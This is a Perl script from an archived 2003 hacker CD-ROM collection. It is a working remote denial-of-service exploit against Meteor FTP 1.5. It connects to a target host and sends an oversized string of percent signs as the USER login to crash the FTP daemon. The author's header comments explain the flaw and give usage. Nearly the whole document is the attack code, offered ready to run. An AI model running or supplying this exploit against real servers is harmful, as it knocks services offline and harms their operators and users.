home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / meteordos / meteordos.pl
Encoding:
Perl Script  |  2003-08-19  |  1.3 KB  |  33 lines

  1. #!/usr/bin/perl
  2. #
  3. # meteordos.pl - Remote denial of service against Meteor FTP Version 1.5
  4. #
  5. # A vulnerability has been identified in Meteor FTP Version 1.5, which
  6. # allows malicious users to remotely crash the ftpd. By connecting to the 
  7. # ftpd and issuing USER followed by large amounts of data, the server 
  8. # crashes. For more info, go to : 
  9. # http://www.evicted.org/projects/writings/mftpadvisory.txt
  10. # Usage : ./meteordos.pl <host/ip>
  11. #
  12. # Vulnerability & code by zerash
  13. # Contact : zerash@evicted.org
  14.  
  15. use Net::FTP;
  16. $host = $ARGV[0];
  17.  
  18. if("$ARGV[0]" eq "") {
  19.     print("DoS against Meteor FTP Version 1.5 by zerash\@evicted.org\n");
  20.     die("Usage : ./meteorftpdos <host\/ip>\n");
  21. } else {    
  22.     
  23.     print("Connecting to $host...\n");
  24.     my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";
  25.     print("Connected!\n");
  26.     print("Attempting to exploit the ftpd...");
  27.     $ftp->login('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%');
  28.     $ftp->quit;
  29.     print("Success!\n");
  30. }
  31.  
  32.